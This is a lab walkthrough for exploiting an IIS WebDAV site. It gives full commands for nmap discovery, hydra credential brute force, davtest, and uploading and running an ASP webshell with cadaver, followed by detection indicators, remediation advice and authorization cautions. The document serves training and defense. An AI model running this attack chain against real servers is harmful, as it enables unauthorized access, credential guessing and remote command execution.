XODA File Upload Exploitation (Lab)
A controlled lab exercise on file upload exploitation, tracking request structures and detection patterns to identify indicators for signature logic.
Context
-
Lab exercise. Only run against authorized targets.
-
Minimise impact. Bruteforce and uploads may cause service disruption.
Goal
Gain remote command execution by uploading and using a webshell via an IIS WebDAV-enabled site.
Tools
-
nmap(discovery, http-enum, -sV) -
hydra(credential brute force, rate-controlled) -
davtest(WebDAV method and upload testing) -
cadaver(interactive WebDAV client used to upload/delete files) -
Browser /
curl(manual verification) -
Kali lab webshells (
webshell.aspetc.)
Quick findings (example)
-
Port 80 open.
-
WebDAV available at
/webdav/. -
Authentication required (e.g., Basic or NTLM).
-
PUTallowed for.asp. Uploaded.aspexecuted by server.
Step-by-step
-
Initial scan
nmap -sV -SC 10.17.12.124- Look for HTTP (port 80) and
WebDAVindicators.
- Look for HTTP (port 80) and
-
Targeted HTTP enumeration
nmap -sV --script=http-enum -p80 10.17.12.124- Confirms presence of
/webdav/and whether auth is required.
- Confirms presence of
-
Manual verification
-
Browse to
http://10.17.12.124/webdav/. -
Note authentication prompt and auth type.
-
-
Credential access (brute force with care)
-
Use
hydrawith small lists and throttling to avoid DoS or lockouts. -
Example conceptual command (tune concurrency/delay):
hydra -L users.txt -P small-passlist.txt -s 80 -t 4 10.17.12.124 http-get /webdav/ -
Verify valid creds via browser or
curl.
Operational cautions
-
Monitor server responses.
-
Use low concurrency and slow cadence.
-
Prefer credential stuffing with vetted creds over blind large-wordlist attacks.
-
-
WebDAV capability testing
-
Run
davtestto enumerate allowed methods and upload behavior:davtest -url http://10.17.12.124/webdav/ -auth user:password -
Confirm
PUT,MOVE,DELETEpermissions and accepted file extensions.
-
-
Upload webshell using cadaver (lab only)
-
Start cadaver and connect to the WebDAV path. Cadaver will prompt for authentication if required:
cadaver http://10.17.12.124/webdav/or include creds in the URL (lab only, for convenience):
cadaver http://username:password@10.17.12.124/webdav/ -
Common cadaver commands:
ls # list directory put webshell.asp # upload single file mput *.asp # upload multiple files rm webshell.asp # delete uploaded file mv oldname newname# rename/move -
After
put, verify upload withlsand by browsing to:
http://10.17.12.124/webdav/webshell.aspand authenticating.
Notes
-
cadaver is interactive and less noisy than some scripted uploads.
-
Use it when you need fine control over uploads and to avoid flood-style requests.
-
-
Access and test webshell
-
Open uploaded
.aspURL in browser with credentials. -
Test limited commands first (
whoami,ipconfig) and record outputs.
-
-
Post-exploit actions
-
Collect system info within lab scope:
whoami,ipconfig,net user, system files. -
Avoid lateral movement beyond scope.
-
-
Cleanup
-
Remove uploaded webshells via cadaver (
rm) or HTTP DELETE. -
Restore anything modified.
-
Document actions and findings.
-
Example commands (cheat-sheet)
# Discovery nmap -sV -SC 10.17.12.124 nmap -sV --script=http-enum -p80 10.17.12.124 # Safe/controlled brute force (adjust -t and list sizes) hydra -L users.txt -P small-passlist.txt -s 80 -t 4 10.17.12.124 http-get /webdav/ # Davtest (verify upload/exec) davtest -url http://10.17.12.124/webdav/ -auth username:password # cadaver interactive session cadaver http://10.17.12.124/webdav/ # then inside cadaver: # put webshell.asp # ls # rm webshell.asp
Detection indicators (for defenders)
-
Unexpected
PUT/MOVE/DELETEHTTP methods in web logs. -
New
.aspor executable files under webroot. -
Repeated failed authentication attempts from single IP.
-
Unusual user-agents associated with
davtest,cadaver,hydra, orcurl.
Remediation recommendations
-
Disable WebDAV if not required.
-
Restrict allowed HTTP methods and file extensions.
-
Enforce strong auth and account lockout with safe thresholds.
-
Run web apps under low-privilege accounts.
-
Implement upload filtering and AV/AVT scanning.
-
Monitor and alert on file creations and
PUT/MOVEactions.
Safety & ethics
-
Written authorization required.
-
Avoid aggressive brute force or mass uploads.
-
Log time, commands, and outputs for reporting and remediation.
References
-
nmaphttp scripts andhttp-enumdocs. -
cadaver man page.
-
OWASP file upload recommendations.
-
IIS / WebDAV hardening guides.